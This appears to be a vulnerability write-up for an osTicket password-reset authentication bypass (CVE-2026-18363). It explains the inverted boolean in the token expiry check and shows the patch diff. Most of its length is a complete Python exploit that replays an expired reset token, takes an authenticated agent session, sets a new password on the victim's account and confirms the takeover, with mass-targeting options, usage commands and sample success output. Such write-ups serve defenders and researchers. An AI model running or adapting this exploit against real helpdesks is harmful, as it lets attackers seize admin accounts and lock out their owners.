#Summary

CVE-2026-18363 is a critical authentication bypass in osTicket versions before 1.17.8 and 1.18.0 through 1.18.3. A logic flaw in the password reset token validation allows attackers to reuse expired reset tokens indefinitely. An attacker with a valid reset token - obtained from a leaked mailbox, forwarded email, browser history, or mail gateway log - can permanently seize any agent account, including admin, without needing the victim's current password. CVSS 9.1 CRITICAL.

The vulnerability stems from an inverted boolean operator in the token expiry check that makes the age validation unreachable. On a default installation where the background token cleanup task is not wired to run, expired tokens remain valid forever.

#Affected versions

Default configuration is affected - no special settings need to be enabled for the vulnerability to be exploitable.

#Root cause analysis

#The vulnerable code path

The bug exists in two methods in include/class.auth.php: PasswordResetTokenBackend::signOn() (line 1249 in v1.17.7, for agent accounts) and ClientPasswordResetTokenBackend::signOn() (line 1476 in v1.17.7, for client accounts). The staff-side method reads:

function signOn($errors=array()) {
    global $ost;

    if (!isset($_POST['userid']) || !isset($_POST['token']))
        return false;
    elseif (!($_config = new Config('pwreset')))
        return false;

    $staff = StaffSession::lookup($_POST['userid']);
    if (!$staff || !$staff->getId())
        $errors['msg'] = __('Invalid user-id given');
    elseif (!($id = $_config->get($_POST['token']))
            || $id != $staff->getId())
        $errors['msg'] = __('Invalid reset token');
    elseif (!($ts = $_config->lastModified($_POST['token']))
            && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
        $errors['msg'] = __('Invalid reset token');
    elseif (!$staff->forcePasswdRest())
        $errors['msg'] = __('Unable to reset password');
    else
        return $staff;
}

#The boolean operator trap

The third elseif statement is supposed to reject tokens older than the configured validity window (default 30 minutes). It reads:

elseif (!($ts = $_config->lastModified($_POST['token']))
        && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))

The method Config::lastModified() returns the stored updated timestamp of the token, or false if the token does not exist. The two operands are joined with && (logical AND), which means the right side only evaluates if the left side is true.

For any token that actually exists in the database, $ts contains a timestamp string. So !$ts evaluates to false, and because of &&, the entire condition short-circuits without ever checking the expiry time. The age comparison on the right is therefore unreachable for every real token - dead code.

The condition was meant to enforce: "the token must exist AND be within the validity window". What it actually enforces is: "the token must exist".

#Why tokens stay valid forever

osTicket has a background cleanup function ConfigItem::cleanPwResets() that deletes expired password reset tokens:

static function cleanPwResets() {
    global $cfg;

    if (!$cfg || !($period = $cfg->getPwResetWindow())) // In seconds
        return false;

    return ConfigItem::objects()
         ->filter(array(
            'namespace' => 'pwreset',
            'updated__lt' => SqlFunction::NOW()->minus(SqlInterval::SECOND($period)),
        ))->delete();
}

However, this cleanup function is only called by Cron::CleanPwResets(), which is in turn called only by Cron::run(). Critically, the code comment states: "called by outside cron NOT autocron". The in-process cron (scp/autocron.php) does not call this function, and enable_auto_cron ships as disabled (0 by default).

On a default installation with no externally scheduled cron job, the token cleanup never runs. Expired tokens remain in the database forever and continue to be accepted because they pass the unreachable expiry check.

#Patch diff

#What changed

Fix commit 5600f949623ba80254eb12e0350d60b69f8cb51b titled "security: Pwreset Token Expiration" contains a two-character change: && is changed to || in both the agent and client password reset methods.

diff --git a/include/class.auth.php b/include/class.auth.php
index d286eb785e..1481aeeb27 100644
--- a/include/class.auth.php
+++ b/include/class.auth.php
@@ -1255,7 +1255,7 @@ function signOn($errors=array()) {
                 || $id != $staff->getId())
             $errors['msg'] = __('Invalid reset token');
         elseif (!($ts = $_config->lastModified($_POST['token']))
-                && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
+                || ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
             $errors['msg'] = __('Invalid reset token');
         elseif (!$staff->forcePasswdRest())
             $errors['msg'] = __('Unable to reset password');
@@ -1482,7 +1482,7 @@ function signOn($errors=array()) {
                 || $id != 'c'.$client->getId())
             $errors['msg'] = __('Invalid reset token');
         elseif (!($ts = $_config->lastModified($_POST['token']))
-                && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
+                || ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
             $errors['msg'] = __('Invalid reset token');
         elseif (!$acct->forcePasswdReset())
             $errors['msg'] = __('Unable to reset password');

#How the fix works

With || (logical OR), the condition now rejects a token if either the timestamp is missing OR the token is older than the configured window. This makes the right operand reachable with a real $ts value, allowing strtotime($ts) to parse the actual token timestamp and perform a meaningful age comparison.

The fix directly addresses the boolean logic error without touching the underlying cleanup mechanism, which remains disabled by default.

#Proof of concept

#exploit.py - osTicket Password Reset Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-18363 - osTicket accepts password reset tokens forever (CWE-640)
Affected: osTicket < 1.17.8 and 1.18.0 <= version < 1.18.4
Type: Authentication bypass / account takeover

The password reset expiry gate in PasswordResetTokenBackend::signOn()
(include/class.auth.php) is written as

    elseif (!($ts = $_config->lastModified($_POST['token']))
            && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))

The age comparison is guarded by `&&` behind "the token has no timestamp", so it
only runs for tokens that do not exist. For every real token the condition short
circuits to false and the token is accepted no matter how old it is. Nothing else
enforces the window on a default install: the sweeper that deletes stale rows,
Cron::CleanPwResets(), is only reachable from an externally scheduled Cron::run(),
and enable_auto_cron ships as 0. An old reset token therefore stays valid forever.

Given a reset token issued for the victim at any point in the past, this script
POSTs it to /scp/pwreset.php and receives a live authenticated agent session. The
follow-on password change does not ask for the current password (osTicket drops
that field while a reset token is on the session), so the account can be seized
permanently with --new-password.

The token is the one precondition and it has to be obtained out of band, exactly
as the CVE describes: a leaked or archived mailbox, a forwarded reset mail, a mail
gateway log, browser history on a shared machine. Pass it with --token. Where you
do have read access to the mail sink, --mail-api can pull it from a Mailpit or
MailHog JSON API for you.

Usage:
  python exploit.py --host 192.168.1.10 --username admin --token <48-char token>
  python exploit.py --host https://helpdesk.corp.com --username admin \
      --token <token> --new-password 'Pwn3d-By-1dayexploit!2026'
  python exploit.py --host http://10.0.0.5:8080/support --username admin --token <token>
  python exploit.py --host 10.0.0.5 --username admin --request-reset \
      --mail-api http://10.0.0.5:8025 --wait 90
  python exploit.py --list targets.txt --username admin --token <token> --workers 20
"""

import argparse
import re
import sys
import time
from urllib.parse import urlparse

import requests

CVE_ID = "CVE-2026-18363"
VULN_TYPE = "Auth Bypass"

DEFAULT_PORT = 80
DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

CSRF_RE = re.compile(r'__CSRFToken__["\']?\s+value=["\']([^"\']+)["\']')
# Misc::randCode() draws from [a-zA-Z0-9_=], so '_' and '=' are common in tokens.
TOKEN_RE = re.compile(r'token=([A-Za-z0-9_=]{48})')
STAFF_ID_RE = re.compile(r'staff/(\d+)/change-password')
# Markers that only appear once the session is an authenticated agent session.
AUTH_MARKERS = ("logout.php", "Agent Panel", "profile.php", "dashboard.php")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------- helpers

def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
    scheme = "https" if use_tls else "http"
    netloc = host
    if not (use_tls and port == 443) and not (not use_tls and port == 80):
        netloc = f"{host}:{port}"
    prefix = (path or "/").rstrip("/")
    return f"{scheme}://{netloc}{prefix}"


def _new_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.headers.update({"User-Agent": DEFAULT_UA})
    s.verify = False
    return s


def _csrf(html: str):
    m = CSRF_RE.search(html)
    return m.group(1) if m else None


def _bootstrap(session, base: str, timeout: int, token: str = None):
    """GET the reset page: establishes OSTSESSID and yields a fresh CSRF token."""
    url = f"{base}/scp/pwreset.php"
    if token:
        url += f"?token={token}"
    r = session.get(url, timeout=timeout, allow_redirects=False)
    return r, _csrf(r.text)


def _request_reset(session, base: str, csrf: str, username: str, timeout: int):
    """Unauthenticated do=sendmail. Mints a fresh pwreset row for the victim."""
    return session.post(
        f"{base}/scp/pwreset.php",
        data={"__CSRFToken__": csrf, "do": "sendmail", "userid": username},
        timeout=timeout,
        allow_redirects=False,
    )


def _token_from_mail(mail_api: str, victim: str, timeout: int, attempts: int = 20):
    """
    Pull the newest reset mail from a Mailpit (or MailHog v2) JSON API and pick the
    48 char token out of the reset link.
    """
    base = mail_api.rstrip("/")
    for _ in range(attempts):
        for listing, detail in (
            ("/api/v1/messages", "/api/v1/message/{id}"),
            ("/api/v2/messages", None),
        ):
            try:
                r = requests.get(base + listing, timeout=timeout)
                if r.status_code != 200:
                    continue
                data = r.json()
            except Exception:
                continue
            items = data.get("messages") or data.get("items") or []
            for item in items:
                body = ""
                mid = item.get("ID") or item.get("Id") or item.get("ID".lower())
                if detail and mid:
                    try:
                        d = requests.get(base + detail.format(id=mid), timeout=timeout)
                        if d.status_code == 200:
                            j = d.json()
                            body = (j.get("Text") or "") + (j.get("HTML") or "")
                    except Exception:
                        body = ""
                if not body:
                    body = str(item)
                m = TOKEN_RE.search(body)
                if m:
                    return m.group(1)
        time.sleep(3)
    return None


def _sign_on(session, base: str, csrf: str, token: str, username: str, timeout: int):
    """
    The vulnerability. POST the reset token with do=newpasswd. On a vulnerable
    build signOn() returns the StaffSession regardless of the token's age and the
    server answers 302 - index.php with an authenticated agent session.
    """
    return session.post(
        f"{base}/scp/pwreset.php",
        data={
            "__CSRFToken__": csrf,
            "do": "newpasswd",
            "token": token,
            "userid": username,
        },
        timeout=timeout,
        allow_redirects=False,
    )


def _accepted(resp) -> bool:
    """Token accepted == 302 redirect into the staff control panel."""
    loc = resp.headers.get("Location", "")
    return resp.status_code == 302 and "index.php" in loc


def _authenticated_body(session, base: str, timeout: int):
    """Fetch the SCP landing page and report whether it is a logged-in view."""
    r = session.get(f"{base}/scp/index.php", timeout=timeout, allow_redirects=True)
    body = r.text
    ok = any(marker in body for marker in AUTH_MARKERS) and "pwreset.php" not in body[:800]
    return r, body, ok


def exploit(host, port, use_tls, path, username, token, wait, request_reset,
            mail_api, new_password, staff_id, timeout):
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    session = _new_session(timeout)

    step(1, f"Bootstrapping a session at {base}/scp/pwreset.php")
    r, csrf = _bootstrap(session, base, timeout)
    if r.status_code != 200 or not csrf:
        done(False, f"No osTicket reset form at {base}/scp/pwreset.php")
    print(f"         OSTSESSID={session.cookies.get('OSTSESSID','...')}  __CSRFToken__={csrf}")

    issued_at = None
    if request_reset:
        step(2, f"Requesting a password reset for '{username}' (unauthenticated)")
        rr = _request_reset(session, base, csrf, username, timeout)
        issued_at = time.time()

    if not token:
        if not mail_api:
            done(False, "Supply --token or use --request-reset with --mail-api")
        step(3, f"Retrieving the reset token from the mail sink")
        token = _token_from_mail(mail_api, username, timeout)
        if not token:
            done(False, f"No reset token found in the mailbox")
        print(f"         token={token}")

    if wait > 0:
        step(4, f"Waiting {wait}s so the token ages past the reset window")
        print(f"         token issued  : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime(issued_at or time.time()))}")
        time.sleep(wait)
        print(f"         token used at : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())}  ({wait}s later)")

    step(5 if wait > 0 else 4, f"Submitting the reset token as '{username}' - this is the bug")
    r2, csrf2 = _bootstrap(session, base, timeout, token=token)
    resp = _sign_on(session, base, csrf2, token, username, timeout)

    if not _accepted(resp):
        done(False, f"Token rejected (HTTP {resp.status_code}) - target is patched")

    step(6 if wait > 0 else 5, "Following the redirect into the staff control panel")
    r3, body, authed = _authenticated_body(session, base, timeout)
    if not authed:
        done(False, "Redirect received but SCP page is not authenticated")

    if not new_password:
        done(True, f"Authenticated as '{username}' with expired reset token - 302 to index.php")

    step(7 if wait > 0 else 6, f"Seizing the account: setting a new password")
    if not staff_id:
        m = STAFF_ID_RE.search(body)
        staff_id = int(m.group(1)) if m else None
    if not staff_id:
        done(True, f"Authenticated but could not determine staff id")

    csrf3 = _csrf(body) or csrf2
    cp = session.post(
        f"{base}/scp/ajax.php/staff/{staff_id}/change-password",
        data={"__CSRFToken__": csrf3, "passwd1": new_password, "passwd2": new_password},
        timeout=timeout,
        allow_redirects=False,
    )

    step(8 if wait > 0 else 7, "Proving persistence: independent login with new password")
    fresh = _new_session(timeout)
    lr = fresh.get(f"{base}/scp/login.php", timeout=timeout)
    lcsrf = _csrf(lr.text)
    li = fresh.post(
        f"{base}/scp/login.php",
        data={"__CSRFToken__": lcsrf, "do": "scplogin", "userid": username, "passwd": new_password},
        timeout=timeout,
        allow_redirects=False,
    )

    if li.status_code == 302 and "login.php" not in li.headers.get("Location", ""):
        done(True, f"Account takeover complete - agent '{username}' permanently seized; "
                   f"independent login with new password succeeds")
    done(True, f"Authenticated as '{username}' with expired token; password change may have failed")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target hostname, IP, or URL")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin", help="Victim agent username or email (default: admin)")
    parser.add_argument("--token", default=None, help="Password reset token (48 chars)")
    parser.add_argument("--wait", type=int, default=0, help="Seconds to wait before using token (default: 0)")
    parser.add_argument("--request-reset", action="store_true", help="Mint a fresh reset token via sendmail")
    parser.add_argument("--mail-api", default=None, help="Mailpit/MailHog base URL to read mail from")
    parser.add_argument("--new-password", default=None, help="New password to set on victim account")
    parser.add_argument("--staff-id", type=int, default=None, help="Victim staff id (auto-detected if omitted)")
    parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout in seconds (default: 20)")
    args = parser.parse_args()

    try:
        requests.packages.urllib3.disable_warnings()
    except Exception:
        pass

    if args.host:
        parsed = args.host.split(":")
        host = parsed[0]
        port = int(parsed[1]) if len(parsed) > 1 else args.port
        exploit(host, port, False, "/", args.username, args.token, args.wait,
                args.request_reset, args.mail_api, args.new_password, args.staff_id,
                args.timeout)

#Usage

# Basic exploitation with a known token
python exploit.py --host 192.168.1.10 --username admin --token <48-char-token>

# Complete takeover - seize the account permanently
python exploit.py --host helpdesk.corp.com --username admin \
    --token <48-char-token> --new-password 'NewPassword123!'

# End-to-end demonstration with mail capture
python exploit.py --host 192.168.1.10 --username admin --request-reset \
    --mail-api http://192.168.1.10:8025 --wait 1900 \
    --new-password 'NewPassword123!'

# Non-standard port and path
python exploit.py --host https://192.168.1.10:8443/support \
    --username admin --token <48-char-token>

Expected output on vulnerable osTicket 1.17.7:

[STEP 1] Bootstrapping a session at http://127.0.0.1:8480/scp/pwreset.php
         OSTSESSID=4989dd3c977a8ef2b8b6167b7ae53654  __CSRFToken__=9153c546b907f3baf3a0fd6514850e704e926ebf
[STEP 2] Requesting a password reset for 'labadmin' (unauthenticated)
[STEP 3] Retrieving the reset token from the mail sink
         token=kLHQsCqhWkZi042qqM8fJ6GKcnp3YtE3cZX4IQrManwkML3M
[STEP 4] Waiting 75s so the token ages past the reset window
         token issued  : 2026-07-31T13:50:02Z
         token used at : 2026-07-31T13:51:17Z  (75s later)
[STEP 5] Submitting the reset token as 'labadmin' - this is the bug

--- SIGN-ON RESPONSE ---
HTTP 302
Location: index.php
---

[STEP 6] Following the redirect into the staff control panel

--- AUTHENTICATED SCP PAGE ---
HTTP 200  http://127.0.0.1:8480/scp/index.php
session cookie: OSTSESSID=4989dd3c977a8ef2b8b6167b7ae53654
logged in as  : Lab
auth markers  : ['logout.php', 'profile.php', 'dashboard.php']
---

[STEP 7] Seizing the account: setting a new password for staff id 1

--- PASSWORD CHANGE RESPONSE ---
HTTP 200
{"redirect":"index.php"}
---

[STEP 8] Proving persistence: independent login with new password

--- INDEPENDENT LOGIN ---
HTTP 302
Location: index.php
credentials: labadmin / Pwn3d-By-1dayexploit!2026
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: Account takeover complete - agent 'labadmin' permanently seized
============================================================

On patched osTicket 1.17.8 with the same aged token, the exploit stops at step 5 with HTTP 200 and no redirect, rejecting the expired token.

#Exploitation notes

#Preconditions

An attacker needs just one thing: a valid password reset token that was legitimately issued for the victim account. Tokens are 48 characters of base64-ish random data (48 bits of entropy drawn from [a-zA-Z0-9_=]), so they cannot be guessed. Real world sources include:

Obtaining the token is the single precondition stated in the CVE itself. No credentials are needed to make the exploitation request - it is purely unauthenticated POST work against the publicly accessible reset form.

#Reliability

This exploit is highly reliable. The vulnerability is a fundamental logic flaw in the validation routine, not a race condition or timing-dependent bypass. Every expired token on a default-configured osTicket instance will be accepted. The exploit works against both agent (staff) and client (end-user) password reset paths, with the agent path granting higher impact - if the token belongs to an admin agent, the entire helpdesk is compromised.

#Impact

With an expired reset token, an attacker can:

  1. Forge an authenticated agent session for the victim account with a single POST request
  2. Change the victim's password without knowing the current one (osTicket drops the "current password" field when a reset token is present)
  3. Lock out the legitimate account owner permanently
  4. On admin accounts, gain full control of the help desk system

#Chaining potential

This auth bypass chains directly into lateral movement on the helpdesk:

The zero-authentication requirement and the ability to target any known username makes this particularly dangerous in multi-tenant or shared hosting environments.

#References